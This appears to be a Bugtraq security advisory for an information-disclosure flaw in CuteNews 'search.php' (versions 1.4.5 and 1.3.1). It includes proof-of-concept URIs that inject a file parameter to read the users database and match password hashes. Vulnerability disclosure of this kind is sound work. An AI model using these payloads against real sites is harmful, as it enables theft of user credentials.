CuteNews 'search.php' Information Disclosure Vulnerability
BID:27010
Info
CuteNews 'search.php' Information Disclosure Vulnerability
| Bugtraq ID: | 27010 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 24 2007 12:00AM |
| Updated: | Jan 02 2008 09:40PM |
| Credit: | Janek Vind aka 'waraxe' is credited with the discovery of this vulnerability. |
| Vulnerable: |
CutePHP CuteNews 1.4.5 CutePHP CuteNews 1.3.1 |
| Not Vulnerable: | |
Discussion
CuteNews 'search.php' Information Disclosure Vulnerability
CuteNews is prone to an information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to access sensitive information (such as user-authentication credentials) that may lead to further attacks.
This issue affects CuteNews 1.4.5 and 1.3.1; other versions may also be affected.
CuteNews is prone to an information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to access sensitive information (such as user-authentication credentials) that may lead to further attacks.
This issue affects CuteNews 1.4.5 and 1.3.1; other versions may also be affected.
Exploit / POC
CuteNews 'search.php' Information Disclosure Vulnerability
An attacker can exploit this issue through a browser.
The following proof-of-concept URI is available:
http://www.example.com/cutenews.1.4.5/search.php?dosearch=yes&title=waraxe&files_arch[]=./data/users.db.php
http://www.example.com/cutenews.1.4.5/search.php?dosearch=yes&story=^[a-f0-9]{32}$&files_arch[]=./data/users.db.php
An attacker can exploit this issue through a browser.
The following proof-of-concept URI is available:
http://www.example.com/cutenews.1.4.5/search.php?dosearch=yes&title=waraxe&files_arch[]=./data/users.db.php
http://www.example.com/cutenews.1.4.5/search.php?dosearch=yes&story=^[a-f0-9]{32}$&files_arch[]=./data/users.db.php
Solution / Fix
CuteNews 'search.php' Information Disclosure Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]